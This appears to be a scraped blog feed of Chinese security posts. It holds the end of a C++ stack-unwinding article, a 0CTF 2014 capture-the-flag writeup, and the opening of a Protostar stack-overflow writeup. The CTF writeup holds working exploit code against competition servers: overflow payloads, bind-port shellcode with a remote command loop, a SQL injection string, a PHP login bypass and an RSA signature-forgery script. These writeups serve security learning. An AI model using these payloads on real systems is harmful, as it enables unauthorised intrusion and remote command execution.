void A(Dummy d, int i)
{ 
    cout << "Entering FunctionA" << endl;
    d.MyName = " A" ;
  //  Dummy* pd = new Dummy("new Dummy"); //Not exception safe!!!
    B(d, i + 1);
  //   delete pd; 
    cout << "Exiting FunctionA" << endl;   
}
 
 
int main()
{
    cout << "Entering main" << endl;
    try
    {
        Dummy d(" M");
        A(d,1);
    }
    catch (MyException& e)
    {
        cout << "Caught an exception of type: " << typeid(e).name() << endl;
    }
 
    cout << "Exiting main." << endl;
    char c;
    cin >> c;
}
 
/* Output:
    Entering main
    Created Dummy: M
    Copy created Dummy: M
    Entering FunctionA
    Copy created Dummy: A
    Entering FunctionB
    Copy created Dummy: B
    Entering FunctionC
    Destroyed Dummy: C
    Destroyed Dummy: B
    Destroyed Dummy: A
    Destroyed Dummy: M
    Caught an exception of type: class MyException
    Exiting main.
 
*/

注意一点:不要让异常逃离析构函数。因为异构函数执行的时候,可能正好已经发生了异常,这时候正在栈展开的过程中,如果析构函数再抛出一个异常,系统中由于同时存在两个未处理的异常,terminate将会被调用;此外,异常逃离析构函数中,意味着异常发生的地方之后的代码没有被执行,此时析构函数也没有完成它全部的使命。

本文整合自以下资料:
《More Effective C++》
Exceptions and Stack Unwinding in C++


本文地址: 程序人生 >> C++中的异常与栈展开
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!

0ops CTF/0CTF writeup

$
0
0

0×00 0CTF
『第一届0ops信息安全技术挑战赛,即0ops Capture The Flag,以下简称0CTF。 0CTF由上海交通大学网络信息中心和上海市信息安全行业协会指导,由上海交通大学信息网络安全协会承办,是2014信息安全技能竞赛校园赛首站。0CTF注册与参赛地址为http://ctf.0ops.net。 比赛时间为北京时间2014年3月1日至2日,每天7时至23时,共32小时。』

看官方微博,这个比赛本来是面向上交校内的,就是校外可以做题但是不发奖,后来也给校外发奖了,整体感觉还不错,好多大牛过来刷题了,没有挤进前六名去……不过当做BCTF的一次练手吧,平时都在实验室打酱油,做个比赛还是可以学到不少东西的。写个Blog记录一下过程,题目只做简单描述,具体可以看官方页面http://ctf.0ops.net,要登录才能看到题目,不知道现在还能否注册。

0×01 [Web]Spy
[题]简单的Web题目,总共四关,每一关都要输入数字,并保证输入的数字比服务器给的大。
1. text框最多输入3位数字,服务器随机返回4位数字,这个审查元素改一下maxlength属性就好了;
2. text框最多输入3位数字,服务器随机返回数字,这个改maxlength属性不然过,但是发现服务器偶尔会返回三位数字,这样的话一直提交999,总会过的;
3. 看谁出的数的倒数比较小谁就算赢!输入-1直接过了;
4. 每人给出一个数,然后比谁的数的EVIL值大。啥是EVIL值?就是该数字每位ASCII码的乘积呗,比如’123′这个数,三位数字的ASCII码分别是49, 50, 51乘起来是124950,这个就是123这个数的EVIL值。这个题最多输入6位,服务器的EVIL值很大,不过输入0xFFFF就过了;

0×02 [Crypto]Classic
[题]小丁丁发现自己置身于一个诡异的房间,面前只有一扇刻着奇怪字符的门。 他发现门边上还有一道密码锁,似乎要输入密码才能开门。。4esxcft5 rdcvgt 6tfc78uhg 098ukmnb
[解]这个比较诡异……通过键盘布局解密:0ops

通过键盘布局解密

通过键盘布局解密

0×03 [Misc]IPv4
[题]截止到2014.2.23,亚太互联网络信息中心分配给中国大陆的IPv4地址是多少个?
[解]下载文件http://ftp.apnic.net/stats/apnic/2014/delegated-apnic-20140223.gz进行统计分析。文件格式为:

apnic|CN|ipv4|1.2.2.0|256|20110331|assigned
等级机构|获得该IP段的国家/组织|资源类型|起始IP|IP段长度|分配日期|分配状态

我用Python解析的,读入每行数据split一下就好了,得到330393088。

0×04 [Exploit]Welcome
[题]在服务器202.120.7.6:32323上运行了一个程序,溢出拿KEY。
[解]IDA分析程序,B函数可以溢出:

char *__cdecl B()
{
  char *result; // eax@1
  char s; // [sp+1Ch] [bp-40Ch]@1
  int v2; // [sp+20h] [bp-408h]@1
  __int16 v3; // [sp+24h] [bp-404h]@1
  char v4; // [sp+26h] [bp-402h]@1
  int v5; // [sp+41Ch] [bp-Ch]@1
 
  v5 = 0;
  memset(&s, 0, 1016u);
  puts("Welcome to 0ops CTF.");
  fflush(stdout);
  gets(&s);
  result = &s;
  *(_DWORD *)&s = *(_DWORD *)"HelloKitty";
  v2 = *(_DWORD *)&aHellokitty[4];              // o
  v3 = *(_WORD *)&aHellokitty[8];               // t
  v4 = aHellokitty[10];                         // \0
  if ( v5 )                                     // 覆盖到v5即可
                                                // 1016+4+2+1=1023 多覆盖一个byte即可
  {
    fd = (int)fopen("./flag.txt", "r");
    __isoc99_fscanf(fd, "%s\n", &s);
    puts(&s);
    result = (char *)fflush(stdout);
  }
  return result;
}

开始忘了加\n,郁闷了好久……

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('202.120.7.6', 32323))
    print sock.recv(1024)
    sock.send('a'*1025+'\n')        # 一定要有\n
    print "send done"
    print sock.recv(2048)
    sock.close()

0×05 [Web]System
[题]小丁丁在无意中发现了一个对方的内部登陆系统,可惜他不知道用户名和密码,该怎么办呢?
[解]简单的SQL注入,用户名输入下面的代码即可:

'or 1=1#

0×06 [Crypto]Dict
[题]小丁丁一直潜伏在邪恶黑客组织的总部大楼附近。他知道邪恶黑客组织的内部密码Hash方式是咸的(Salted),但是 没有正确的通行口令他无法潜入。他每天都在仔细分析这栋大楼的办公室垃圾,想要从中找到一些线索。这一次,他捡到了某个员工的备忘小便签:

WORD is a common english word
len(WORD) = 4
md5(WORD + '0ops!^_^') = 'e79dc003a53edc551c5ef8364e97b2e2'
HASH = md5(WORD)
FLAG = 0ops{HASH}

[解]四个字母组成的英语单词,这个直接枚举并比较MD5值就行了,很快就找到了单词join。

0×07 [Crypto]JohnCode
[题]小丁丁伪装成内部员工潜入了邪恶黑客组织,在群邮件中,他得知他们正在开发一套新的加密算法JohnCode。小丁丁看到了群共享的源代码,陷入了深深的沉思。 你能帮他破解这个囧呆马吗?
eaxRa8RO8gyXLs/5lZO2jUk32bGGN9DoA5hi1MBswPnWw28pk2f=
JohnCode加密算法源代码:

import hashlib
 
def johncode(msg, key):
	token = hashlib.md5(key).digest()
	res = ""
	password = "0ops Capture The Flag"
	for c in msg:
		n = ord(c) ^ 0xde ^ 0xad ^ 0xbe ^ 0xef
		for i in xrange(16) :
			n ^= ord(password[i]) ^ ord(token[i])
		res += chr(n)
		token = hashlib.md5(chr(n)).digest()
	return res.encode('base64').encode('rot13')

[解]这个可以直接逆推的,因为每一轮的token都是上一轮的字符的MD5值。不过因为不知道key,所以第一位没法解出来,但是题目说了FLAG的格式,所以第一位是0,解密的代码如下:

import hashlib
 
def getConstXor():
    return 0xde ^ 0xad ^ 0xbe ^ 0xef
 
def getPwdXor():
    password = "0ops Capture The Flag"
    res = 0
    for i in xrange(16):
        res ^= ord(password[i])
    return res
 
def getMd5Xor(val):
    token = hashlib.md5(val).digest()
    res = 0
    for i in xrange(16):
        res ^= ord(token[i])
    return res
 
if __name__ == "__main__":
    ctftext = "eaxRa8RO8gyXLs/5lZO2jUk32bGGN9DoA5hi1MBswPnWw28pk2f="
    ciphertext = ctftext.decode("rot13").decode("base64")
    ctlen = len(ciphertext)
    constXor = getConstXor()
    pwdXor = getPwdXor()
    i = ctlen - 1
    msg = ""
    while i >= 1:
        tokenXor = getMd5Xor(ciphertext[i-1])
        msg = msg + chr(ord(ciphertext[i]) ^ tokenXor ^ pwdXor ^ constXor)
        i = i - 1
    # msg = }4660b46c5eb87b6e4b618a2804b40ee4{spo
    msg = msg[::-1]
    # msg = ops{4ee04b4082a816b4e6b78be5c64b0664}
    # 答案是 0ops{4ee04b4082a816b4e6b78be5c64b0664}

0×08 [Reverse]Waltz
[题]APK逆向分析:http://ctf.0ops.net/attachment/download/EndlessWaltz.zip
[解]解压APK得到classes.dex,然后使用dex2jar得到jar文件,然后使用JD-GUI就可以看Java代码了,就是几个字符串替换和BASE64加解密。

0×09 [Misc]FakeUser
[题]小丁丁有隔天备份ctf.0ops.net数据库的习惯,就在比赛开始前一天,小丁丁突然发现备份似乎被人修改了,似乎额外增加了几个账户。可是小丁丁已经不记得有哪些账户了,这可怎么办?
注意:此题的FLAG是取 所有虚假账户的ID之和,求MD5,再拼上0ops{…} 即0ops{md5(sum of IDs of fake users)}
[解]将SQL文件导入数据库,提示换行符不一致!所有换行符为\r\n的都是假的账户。

0x0A [Exploit]Login
[题]溢出服务器上的一个程序,位于202.120.7.110:55632
[解]getpath函数中,gets可以溢出,最后调用了strdup,这个函数会分配一段空间保存输入的内容,把返回地址覆盖为call eax的地址,那么返回的时候就会执行shellcode了。

char *__cdecl getpath()
{
  char s; // [sp+8h] [bp-25Ch]@1 [604]
  void *v2; // [sp+260h] [bp-4h]@1
  unsigned int v3; // [sp+268h] [bp+4h]@1
 
  printf("Input Name Please: ");
  fflush(stdout);
  gets(&s);                             // 获取输入
  v2 = (void *)v3;                      // v3 == 608
  if ( (v3 & 0xB0000000) == 0xB0000000 )// 覆盖返回地址, 返回地址存入v3
  {
    printf("HEHE (%p)\n", v2);
    _exit(1);
  }
  printf("Got Name %s\n", &s);
  return strdup(&s);                    // 分配空间复制字符串, 返回值指向复制的字符串
}

call eax可以随便找一个:

.text:08048A4B                 call    eax ; __CTOR_LIST__

不过我找了好多Shellcode都不管用……最后找了个开端口的,执行之后nc连接,cat flag.txt即可。

def testServer():
    # http://www.shell-storm.org/shellcode/files/shellcode-370.php
    # port : 5074
    shellcode = ("\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff"+
                "\xff\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04" +
                "\x47\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xedDBMAFAEAIJMD" +
                "FAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAFBFAIJOBLAGGMN" +
                "IAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIAJDIJNBLADPMNIAEB" +
                "IAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJOBLAALMNIA")
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #sock.connect(('192.168.218.129', 55632))
    sock.connect(('202.120.7.110', 55632))
    print sock.recv(1024)
    #sock.send('A'*608+'\xB0'*4+'\n')
 
    sock.send(shellcode + '\x90'*(608-len(shellcode))+'\x4B\x8A\x04\x08'+'\n')
    print "send done"
    print sock.recv(2048)
    print sock.recv(2048)
    while True:
        acmd = raw_input("CMD> ")
        sock.send(acmd)
        sock.send(acmd)
        print sock.recv(2048)
        time.sleep(0.1)

0x0B [Reverse]HackGate
[题]给定一个setup.exe,求KEY。
[解]setup.exe,是个安装包,要求输入密码才能安装。开始直接调试这个程序,发现根本断不下来,发现创建了子进程,于是调试子进程,发现用了MD5、SHA以及CRC32算法,后来差一下发现是个Inno Setup的安装包,然后我还找到了能够绕过密码直接提取文件的程序(当然找了好几个才发现一个叫做InnoExtractor的程序),于是直接把里面的EXE抠出来了,是g++编译的,我电脑装了还跑不起来,可能DLL版本不对。直接托IDA看字符串就找到KEY了……当然要稍微变换一下,key是0ops{EL_PSY_CONGROO}。其实找到的字符串是LE_PSY_CONGROO,我用Google搜的时候,提示我是EL_PSY_CONGROO。

El Psy Congroo在动画《命运石之门》播出之后才火起来的。
冈部伦太郎使用了很久用意义不明的话,能够自我暗示,使自己镇静下来。

不过有时候做这种题,没加密的话很容易偷懒的……(我这样会被鄙视吗?)

0x0C [Web]Signal
[题]绕过网站登陆。
[解]给提示了,这题和数据没关系,和PHP的一些检查方式有关系……审查元素,修改password字段名字(在name字段的值后面加上数组符[]),输入任意密码提交:

<form class="form-signin" action="login_ok.php" method="post">
    <h2 class="form-signin-heading">Please sign in</h2>
    <input type="text" class="input-block-level" name="id" value="159.226.43.61" readonly="">
    <input type="password" class="input-block-level" name="ps[]" placeholder="Password">
    <label class="checkbox">
      <input type="checkbox" value="remember-me"> Remember me
    </label>
    <button class="btn btn-large btn-primary" type="submit">Sign in</button>
</form>

0x0D [Crypto]RSASign
[题]小丁丁继续在邪恶组织总部探索。他发现组织内部有一个专用的身份签名系统。只要能拿到最高权限的账户签名,他就可以得到最高权限啦!幸运的是,小丁丁又一次拿到了它的源码
[解]考察数论相关的知识了。
同余形式:若a % N = A 且 b % N = B,那么有(ab) % N = (AB) % N;
同理对于RSA有:若a^d % N = A 且 b^d % N = B,那么有[(a^d)*(b^d)] % N = (AB) % N;
现在服务器能够返回给定任意数据a,返回a^d % N的值A,如果能拿到0ops(假设转化为数值之和为c)的返回值:c^d % N = C,即拿到C的值就可以拿到KEY了。

a^d % N = A
b^d % N = B
c^d % N = C

分解c,假设c = a*b,那么有(A*B)≡C mod N,计算一下,c刚好能够分解,那么我们就可以从服务器拿回A和B了,如果知道了N,就可以拿到C了。不过对于这个题,拿到AB就已经够了,因为RSA签名验证就是(A*B)^e % N。不过N还是可以求出来的,大神提供的思路如下:

2^d % N = A
4^d % N = B 即 (2*2)^d % N = B
8^d % N = C 即 (2*2*2)^d % N = C
有M = GCD(A*A-B, A*A*A-C)
注意这里求出的M可能是kN,也就是是N的倍数,如果运气好就是N了,不然要多找几次。

下面是解题代码,会求出N。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
import time
import socket
import string
 
def int2str(n):
    charset = string.digits + string.letters
    p = len(charset) + 1
    s = ""
    while n:
        s = s + charset[n%p-1]
        n /= p
    return s[::-1]
 
def str2int(s):
    """
        map
            '0' =>  1
            '1' =>  2
                ...
            '9' =>  10
            'a' =>  11
                ...
            'z' =>  36
            'A' =>  37
                ...
            'Z' =>  62
    """
    charset = string.digits + string.letters
    p = len(charset) + 1
    r = 0
    for c in s :
        r = r * p + charset.index(c) + 1
    return r
 
def getFactor():
    ops = str2int('0ops')
    a = b = 0
    for i in range(2, ops):
        if ops % i == 0:
            a, b = i, ops/i
            print "%d * %d = %d" % (a, b, ops)
            break
    sa = int2str(a)
    sb = int2str(b)
    print "%d --> %s" % (a, sa)
    print "%d --> %s" % (b, sb)
    return sa, sb
 
def getAuthKey(s):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('202.120.7.5', 38241))
    sock.recv(2048)
    time.sleep(0.5)
    sock.recv(2048)
    sock.send('1\n')    # register
    sock.recv(2048)
    time.sleep(0.1)
    sock.send(s + '\n')
    sock.recv(2048)
    authKey = sock.recv(2048)
    sock.close()
 
    print "Username: %s" % s
    print authKey
    return authKey.strip()
 
def getGCD(a, b):
    if a < b:
        a, b = b, a
    while b != 0:
        tmp = a % b
        a = b
        b = tmp
    return a
 
def getN():
    userlist = [2, 4, 8]
    keylist = []
    for user in userlist:
        keylist.append(int(getAuthKey(int2str(user))))
    diff = []
    diff.append(pow(keylist[0], 2) - keylist[1])
    diff.append(pow(keylist[0], 3) - keylist[2])
    return getGCD(diff[0], diff[1])
 
def getFlag(authKey):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('202.120.7.5', 38241))
    sock.recv(2048)
    time.sleep(0.5)
    sock.recv(2048)
    sock.send('2\n')    # login    
    sock.recv(2048)
    time.sleep(0.1)
    sock.send('0ops\n') # username
    sock.recv(2048)
    time.sleep(0.1)
    sock.send(str(authKey) + '\n') # authKey
    print sock.recv(2048)
    print sock.recv(2048)
    sock.close()
 
if __name__ == "__main__":
    sa, sb = getFactor()
    ka = getAuthKey(sa)
    kb = getAuthKey(sb)
    kab = int(ka) * int(kb)
    print "authKey[%s] * authKey[%s] = \n%d\n" % (sa, sb, kab)
    n = getN()
    print "N = \n%d\n" % n
    flagKey = kab % n
    print "authKey[0ops] = \n%d\n" % flagKey
    getFlag(flagKey)
    raw_input("<Enter>")
 
"""
163 * 2153 = 350939
163 --> 1A
2153 --> xa
Username: 1A
21533328170418378084667829333241475137237189840136413341659043482256097510873406
80778085936300557220305925866245746162556818225595325428891118543277776000224693
94153804439920506389342914152518686076142925020261268165134548156640326678913058
32183740222011549816792593422992831392821041521696985409510603614521305240365730
69993107868111616188102944903092890088304093759066757333321808861343015436285431
83423748039157813181828728529338570079483125070881458603012233228629889625998610
77837188029428966569684473488137929071603810228867022108243630344706359935318974
659363579802989602917857042437294261061356335491933174051
 
Username: xa
25488744768722406399022993210073505421411878358623824552700157019662731668788913
29696762464701716291111290751757383920248775850436486970351641724147165259120289
88289621607449227239688925130507701532735104032594188602562364841462980159493017
96811103500139479056818978083991583831585928689088971640016014467405404108823622
37555222332241091523009935298355178015132729923435885189369662045864007701562485
91622365205822004617452169129111881126526480558419450732992640082382159767752794
22962647696103667805075981389049729228576300327608699296783543259431738187799821
731862053896502779740294350970620551593589183858097468202
 
authKey[1A] * authKey[xa] =
54885750575693426083919531510934514350135708923403345930121911623724478234602268
27979542454055898817768822046755196649628234154462632065635709315217301905443578
15053213360938990523525651515977264898624869669693382733171731889768054632085639
40081552196281561143501153944763925013800347447018887135453722798415734016750151
92184836862276059791184086691283031159039851810771777962934768576429259231364133
41834110889564427268927559492552852974023169921476230425928104005016422929418070
39593591140411537137125967387946130071547972790632118133896625499729357543308816
65448091364193997682005248870200041504023381016446066909023878970529319079800086
13808551432638083920706237377055192075931504657100138782762634126828570096626000
21740987778485284470130972040488510155441233144261202690270073340308044559909236
88022604483095012235643404016986395825071264788489401081410846239399008256383444
27783542166239774991615310457893021925122329284187579913245305211704054543963112
46617591745725112264275325834238989453825259130717300416524844869106838890002150
13539418987344763704144532367013919237191922725980132605207837102132907895624432
66607899392071332859380943060605852067363066333823230424467584589398587263860042
119105342842310261180736904026302
 
Username: 1
22162592382709279239675078287209487170257682361511277398481832147372823215451206
29012234993254397116315506291018552849006256580425529369872729697550238374739494
48772829679652923225545207924144536536130669962018422146411134841875616397357134
29568880006878286534623642415790091356045364443763159224635646171861388242085726
97265299606708141770914574335615303479761746656913880214780405285865156974703663
68707812547485603274962190456901154898407556530407582248442240935713344954001743
70460314565217400045829838047916742777893191557151837606275064117735853844147609
312638348348883587842186583304381307199776987787088683213
 
Username: 3
18555505824880771273727540829711672221676629831658469028977988584440554873780436
45137773386560133644983364637659004337061718305660923166817411197766375793405718
05103029732367220924127309328528302634299493223853139595279355089050203206293974
86840898999244645854695909576241621143659347688557261209638462191011865971149242
79464762884238981766433085461726300411125242999959696850859594687622334871918471
71670809991958427666213019092095767990137873589365923128683417543694089792152878
77150847918268764278582616037769773086098337088950812318405615762304350575303071
079091404763125577831379208432103400658648842256675379806
 
Username: 7
52482204868424933403557570627260487449813958439686870244092838847494332548446073
45602512803692746763888792435320054869228129209697946733034825577367868675415020
40650190376660294128759355299952166682183127812142558455298025750832300811952889
86463990447494116385230643606657822311838848399664307028247794759330657294253921
87875591907107721872039909705488324146809722005199670346002505042495876768793064
69944991228386536399164224058905493762703168633149946839305007134191114427394941
72485062533747457130652067041438480378568459966504351977884309118621219929633189
06584017724632422879044239426508028014318144849268674008
 
N =
29610211050329808378232545552699749436594480437122054986865680099884890513872850
75525661987282310273914255054387679145058167010821716155270450004228110100462580
61209364757602907910617119263438600005472312713489338816033264709490529535130190
96378961760344107740968951046321793825376720940083912117401942507142416424502224
52716016867059810410289101671971086362182186474576259372154998140093546592864747
64210175590855355005120986623171403794224031596995562230659609347027503141992475
47770245690981730429515128740909571870394089884652117078715034645606613009469198
724251507254450039197449345504428016016268512178144465269
 
authKey[0ops] =
13110205844472582078508561586009616010511440950399464874188864349291652777783298
99881232052318532954986646824467063842227828770517196037207171044544695490940912
12423450401458576493793741404979648318705923086553715197114747437125272098839105
53827198360050895608734309931663997144339422020764921090587199992980596843329551
10835974076198749267323036625564956690953923683306767300917098380913656898698173
63407386614802670044895487509786218738456054495098285103711261589674380370321433
35083314522191405782002192706825562995912444112388730499459139167637817864843651
545728753985843329656352477751861819954384211132836924156
 
You win!
Flag is: 0ops{03e2bca28698ca3b2b8b50c594ae4e89}
 
"""

0x0E [Misc]Game
[题]小丁丁找到邪恶组织的人想要和他们在安全技术上一较高下,然而却被告知你太嫩了,我们先不玩别的先来盘游戏吧,如果赢了我,再来谈技术的问题也不迟啊哈哈哈哈哈。
[解]这个是个取石子游戏,大家应该见过,OJ上面也会常见,虽然我连这个也不会,不过搜一下还是有很多解决方案的。服务器会返回N堆石子给你,你要最后面拿光所有的石子,你就赢了这一个round。
也就是Nimm Game,有k堆石子,两个人轮流从某一堆取任意多的物品,规定每次至少取一个,多者不限。取走最后石子的人获胜。

引入一个概念,平衡状态,又称作奇异局势。当面对这个局势时则会失败。任意非平衡态经过一次操作可以变为平衡态。
每个玩家都会努力使自己抓完石子之后的局势为平衡,将这个平衡局势留给对方。因此,玩家A能够在初始为非平衡的
游戏中取胜,玩家B能够在初始为平衡的游戏中取胜。
 
最后一个奇异局势是(0,0...,0)。另一个奇异局势是(n,n,0...0),只要对手总是和我拿走一样多的物品,最后会面对
(0,0...,0)。
 
奇异局势的判定:
    对于一个普通的局势,如何判断其是不是奇异局势?对于一个局势(s1,s2,...sk),对所有石子个数做位的异或运
算,s1^s2^s3^...^sk,如果结果为0,那么局势(s1,s2,...sk)就是奇异局势(平衡),否则就不是(非平衡)。
    从二进制位的角度上说,奇异局势时,每一个bit位上1的个数都是偶数。
 
玩家的策略:
    就是把面对的非奇异局势变为奇异局势留给对方。也就是从某一堆取出若干石子之后,使得每一个bit位上1的个数
都变为偶数,这样的取法一般不只有一种。可以将其中一堆的石子数变为其他堆石子数的位异或运算的值(如果这个值
比原来的石子数小的话)。
 
参见:http://blog.csdn.net/ojshilu/article/details/16812173

照着这个思路写了个脚本,但是比较蛋疼的是服务器每次只从一堆石头中取出一个,这样我也只能取出1个,而这样下来就严重拖慢了速度,而服务器最初设置了100个round,我跑了1个多小时才跑完50个round,然后管理员认为100轮太多了,就把服务器端了调整为50轮,于是我又跑了1个小时左右,中午吃完饭回来就返回了key了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import socket
import sys
 
def parseInput(s):
    idx = s.find("I pick")  # 过滤无关数据
    if idx != -1:
        s = s[idx:]
    idx = s.find("There are totally")   # 过滤无关数据
    if idx != -1:
        s = s[idx:]
 
    lines = s.split('\n')
    res = []
    for l in lines:
        l = l.strip()
        data = l.split(': ')
        if len(data) == 2 and data[0].find("Pile") != -1:
            res.append(int(data[1]))
    return res
 
def pickStone(s):
    l = len(s)
    maxCount = 0
    idx = 0
    for i in range(0, l):
        tmp = 0
        for j in range(0, l):
            if j == i:
                continue
            tmp = tmp ^ s[j]
        if tmp < s[i]:
            if maxCount < s[i]-tmp:
                maxCount = s[i]-tmp
                idx = i
    return (idx, maxCount)
 
if __name__ == "__main__":
    #redirectOutput()
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('202.120.7.108', 17733))
    print sock.recv(4096)
    while True:
        data = sock.recv(4096)
        print data
        arr = parseInput(data)
        print arr
        idx, count = pickStone(arr)
        sock.send("%d\n" % idx)
        print "%d" % idx
        data = sock.recv(4096)
        print data
        sock.send("%d\n" % count)
        print "%d" % count
        print sock.recv(4096)

0x0F [Misc]Girl
[题]图片隐写术

0CTF Misc Girl 图片隐写术

0CTF Misc Girl 图片隐写术


[解]图片无限放大之后会发现右上角有四个小点,这里面隐藏了信息,当然这里全是一堆红色,看起来相当的晃眼!!这里面的像素点存在色差,我们需要对其进行二值化处理。下图是截取的一个图,我给四个小点画了个圈,只是为了方便各位看官辨别。
图片隐写术

图片隐写术


大家可以把原图下载下来放大之后,在信息隐藏区域取色就能看到色差(比如QQ截图工具就有取色功能)
正常的背景色RGB是(235,1,2),四个边界点的RGB是(225,0,0),鼠标在区域内移动的时候,有两个RGB值,分别是(235,1,2), (236,1,2),看到了没,(235,1,2)就是背景色的RGB值。
刚开始以为这个是二维码,就把背景色设置为白色(255,255,255),把四个边界点的颜色设置为蓝色(0,0,255),把二维码中的颜色设置为黑色(0,0,0),以为差不多就OK了,谁知道这货不是二维码,是二进制信息。
其实不是二维码

其实不是二维码


隐藏信息的区域我画了个圈,从图中可以看出,如果白色代表0,黑色代表1,我们转成二进制得到0×30和0x6F,这就是0和o,也就是Flag的前缀0ops了,完善一下代码就有key了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import string
from PIL import Image
 
"""
# It's not QR code :)
def showQRCode(fpath):
    bmp = Image.open(fpath)
    pix = bmp.load()
    w, h = bmp.size
    for x in xrange(0, w):
        for y in xrange(0, h):
            if pix[x, y] == (235,1,2):
                pix[x, y] = (255,255,255)
            elif pix[x, y] == (225,0,0):
                pix[x, y] = (0, 0, 255)
            elif pix[x, y] == (236, 1, 2):
                pix[x, y] = (0, 0, 0)
            else:
                pix[x, y] = (255, 255, 255)
    bmp.save(fpath)
"""
 
def getFlagHex(fpath):
    bmp = Image.open(fpath)
    pix = bmp.load()
    w, h = bmp.size
 
    c = []
    for y in xrange(0, h):
        for x in xrange(0, w):
            if pix[x, y] == (225,0,0):
                c.append((x, y))
 
    flag = ""
    for y in xrange(c[0][1]+1, c[2][1]):
        x = c[0][0] + 1
        for i in xrange(0, 4):
            ch = 0
            for j in xrange(0, 4):
                tmp = 0
                if pix[x+i*4+j, y] == (236, 1, 2):
                    tmp = 1
                ch = (ch<<1) + tmp
            flag = flag + ("%x" % ch)
    bmp.save(fpath)
    return flag
 
def getFlag(flagHex):
    flag = ""
    tmp = 0
    for i in xrange(0, len(flagHex)):
        val = string.hexdigits.index(flagHex[i])
        if i&1:
            flag = flag + chr(tmp*16 + val)
            tmp = 0
        else:
            tmp = val
    return flag
 
if __name__ == "__main__":
    flagHex = getFlagHex("girl.bmp")
    flag = getFlag(flagHex)
    raw_input(flag)

输出flag为:0ops{Never_giving_up!Fighting!!}

0×10 [Exploit]WebServer
[题]在服务器202.120.7.111:44774上运行了一个程序,提供奇怪的web服务,能处理你的HTTP请求。看看这个web服务里有没有什么非同寻常的秘密?注意:没有NX以及aslr。提供libc.so.6文件下载。
[解]这个是GOT表覆盖与printf格式化写任意内存漏洞,exploit-exercises上面的format最后一题和这个类似,不过只怪我当时候没有认真做题,这个题就没交了……囧rz,这个题有空再补上吧。

0×11 Rank List
这次的马甲是“栈溢出了”,排第八,被前排的大神挤下来了。我平时一般用另一个马甲,叫Wins0n

0CTF Scoreboard 校外

0CTF Scoreboard 校外



本文地址: 程序人生 >> 0ops CTF/0CTF writeup
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!

Exploit-Exercises Protostar Writeup Part I

$
0
0

这是Exploit-Exercises的Protostar中stack和net部分的Writeup,format以及heap和final将在另一篇文章中贴出。发现markdown写东西挺清爽的,不过好像Wordpress不支持,有插件,但是可能会影响旧的文章的阅读。
stack0

python -c "print 'A'*65" | ./stack0

stack1

python -c "print 'A'*64+'\x64\x63\x62\x61'" | xargs ./stack1

stack2

#!/usr/bin/env python
# -*- coding:utf-8 -*-
import os
 
def main():
    envval = 'A'*64 + '\x0a\x0d\x0a\x0d'
    os.putenv("GREENIE", envval)
    os.system("./stack2")
 
if __name__ == "__main__":
    main()

Protostar的操作极其不便,实在不是很喜欢。我比较喜欢的方式是把bin拿到别的系统上去分析,或者写好python脚本之后下载到protostar里面去执行。Python有简单的HTTP Server模块,很方便。

python -m SimpleHTTPServer

stack3

python -c "print 'A'*64+'\x24\x84\x04\x08'" | ./stack3

stack4

gdb stack4
disas win
(得到win函数的地址: 0x080483f4)
 
disas main
   0x08048408 <+0>:	push   %ebp
   0x08048409 <+1>:	mov    %esp,%ebp
   0x0804840b <+3>:	and    $0xfffffff0,%esp
   0x0804840e <+6>:	sub    $0x50,%esp
   0x08048411 <+9>:	lea    0x10(%esp),%eax
   0x08048415 <+13>:	mov    %eax,(%esp)
   0x08048418 <+16>:	call   0x804830c <gets@plt>
   0x0804841d <+21>:	leave  
   0x0804841e <+22>:	ret    
b *0x0804840b
r
i r $esp
esp            0xbffff128	0xbffff128

main函数的返回地址覆盖偏移值为: 0×50+8+4-0×10=0x4C

exploit code

python -c "print 'A'*0x4C+'\xf4\x83\x04\x08'" | ./stack4

stack5

disas main
   0x080483c4 <+0>:	push   %ebp
   0x080483c5 <+1>:	mov    %esp,%ebp
   0x080483c7 <+3>:	and    $0xfffffff0,%esp
   0x080483ca <+6>:	sub    $0x50,%esp
   0x080483cd <+9>:	lea    0x10(%esp),%eax
   0x080483d1 <+13>:	mov    %eax,(%esp)
   0x080483d4 <+16>:	call   0x80482e8 <gets@plt>
